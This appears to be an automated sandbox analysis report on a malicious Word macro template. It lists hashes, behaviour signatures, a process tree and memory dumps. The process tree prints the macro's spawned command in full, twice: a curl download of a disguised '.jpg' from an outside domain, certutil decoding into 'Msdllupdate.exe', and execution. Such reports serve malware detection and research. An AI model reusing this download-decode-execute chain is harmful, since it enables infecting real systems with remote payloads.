Analysis

  • max time kernel
    111s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/04/2024, 10:22

General

  • Target

    383136adaf956f1fab03de8c1064f7b9119b5b656bedda7ce3137bebbb2a920f.dotm

  • Size

    16KB

  • MD5

    0fb9bb549173482cfe4faa67ac22a960

  • SHA1

    aad49c13d5b80c4b9022889cc9d56bbc04d0f496

  • SHA256

    383136adaf956f1fab03de8c1064f7b9119b5b656bedda7ce3137bebbb2a920f

  • SHA512

    ff07db920400bb41a62e7da0f4d54a46fd3b2f56a70789b8f9d8868f93784b6468dd656cea7367e14add124db346896d44619fb041d957658bdc298dd06b43e4

  • SSDEEP

    384:tmtNHjUtc6WGaLmrHzVHRQTtxcdV0pjMNJSOTesmB3Dl:qZpG6mrZKpOMp9OTehP

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\383136adaf956f1fab03de8c1064f7b9119b5b656bedda7ce3137bebbb2a920f.dotm" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3448
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd C:\Users\Admin\AppData\Local & curl http://www.xmlschemeformat.com/update/2021/Office/OxB36F8GEEC634.jpg -o OxB36F8GEEC634.jpg & certutil -decode OxB36F8GEEC634.jpg Msdllupdate.exe & Msdllupdate.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4596
      • C:\Windows\system32\curl.exe
        curl http://www.xmlschemeformat.com/update/2021/Office/OxB36F8GEEC634.jpg -o OxB36F8GEEC634.jpg
        3⤵
          PID:1616
        • C:\Windows\system32\certutil.exe
          certutil -decode OxB36F8GEEC634.jpg Msdllupdate.exe
          3⤵
            PID:4484
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c cd C:\Users\Admin\AppData\Local & curl http://www.xmlschemeformat.com/update/2021/Office/OxB36F8GEEC634.jpg -o OxB36F8GEEC634.jpg & certutil -decode OxB36F8GEEC634.jpg Msdllupdate.exe & Msdllupdate.exe
          2⤵
          • Process spawned unexpected child process
          • Suspicious use of WriteProcessMemory
          PID:2780
          • C:\Windows\system32\curl.exe
            curl http://www.xmlschemeformat.com/update/2021/Office/OxB36F8GEEC634.jpg -o OxB36F8GEEC634.jpg
            3⤵
              PID:744
            • C:\Windows\system32\certutil.exe
              certutil -decode OxB36F8GEEC634.jpg Msdllupdate.exe
              3⤵
                PID:876
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3348 --field-trial-handle=2256,i,18272763564106695635,11201593968620719822,262144 --variations-seed-version /prefetch:8
            1⤵
              PID:3744

            Network

                  MITRE ATT&CK Enterprise v15

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • memory/3448-0-0x00007FF838070000-0x00007FF838080000-memory.dmp

                    Filesize

                    64KB

                  • memory/3448-2-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3448-3-0x00007FF838070000-0x00007FF838080000-memory.dmp

                    Filesize

                    64KB

                  • memory/3448-1-0x00007FF838070000-0x00007FF838080000-memory.dmp

                    Filesize

                    64KB

                  • memory/3448-5-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3448-6-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3448-4-0x00007FF838070000-0x00007FF838080000-memory.dmp

                    Filesize

                    64KB

                  • memory/3448-7-0x00007FF838070000-0x00007FF838080000-memory.dmp

                    Filesize

                    64KB

                  • memory/3448-8-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3448-9-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3448-10-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3448-12-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3448-11-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3448-13-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3448-14-0x00007FF835BD0000-0x00007FF835BE0000-memory.dmp

                    Filesize

                    64KB

                  • memory/3448-15-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3448-16-0x00007FF835BD0000-0x00007FF835BE0000-memory.dmp

                    Filesize

                    64KB

                  • memory/3448-30-0x0000026DFCB00000-0x0000026DFDAD0000-memory.dmp

                    Filesize

                    15.8MB

                  • memory/3448-34-0x0000026DFCB00000-0x0000026DFDAD0000-memory.dmp

                    Filesize

                    15.8MB

                  • memory/3448-37-0x0000026DFCB00000-0x0000026DFDAD0000-memory.dmp

                    Filesize

                    15.8MB

                  • memory/3448-39-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3448-40-0x0000026DFCB00000-0x0000026DFDAD0000-memory.dmp

                    Filesize

                    15.8MB

                  • memory/3448-41-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3448-42-0x0000026DFCB00000-0x0000026DFDAD0000-memory.dmp

                    Filesize

                    15.8MB

                  • memory/3448-43-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3448-44-0x0000026DFCB00000-0x0000026DFDAD0000-memory.dmp

                    Filesize

                    15.8MB

                  • memory/3448-49-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3448-50-0x0000026DFCB00000-0x0000026DFDAD0000-memory.dmp

                    Filesize

                    15.8MB

                  • memory/3448-54-0x0000026DFCB00000-0x0000026DFDAD0000-memory.dmp

                    Filesize

                    15.8MB

                  • memory/3448-55-0x0000026DFCB00000-0x0000026DFDAD0000-memory.dmp

                    Filesize

                    15.8MB

                  • memory/3448-56-0x0000026DFCB00000-0x0000026DFDAD0000-memory.dmp

                    Filesize

                    15.8MB

                  • memory/3448-57-0x0000026DFCB00000-0x0000026DFDAD0000-memory.dmp

                    Filesize

                    15.8MB

                  • memory/3448-58-0x0000026DFCB00000-0x0000026DFDAD0000-memory.dmp

                    Filesize

                    15.8MB

                  • memory/3448-59-0x0000026DFCB00000-0x0000026DFDAD0000-memory.dmp

                    Filesize

                    15.8MB

                  • memory/3448-80-0x00007FF838070000-0x00007FF838080000-memory.dmp

                    Filesize

                    64KB

                  • memory/3448-81-0x00007FF838070000-0x00007FF838080000-memory.dmp

                    Filesize

                    64KB

                  • memory/3448-82-0x00007FF838070000-0x00007FF838080000-memory.dmp

                    Filesize

                    64KB

                  • memory/3448-83-0x00007FF838070000-0x00007FF838080000-memory.dmp

                    Filesize

                    64KB

                  • memory/3448-85-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB

                  • memory/3448-84-0x00007FF877FF0000-0x00007FF8781E5000-memory.dmp

                    Filesize

                    2.0MB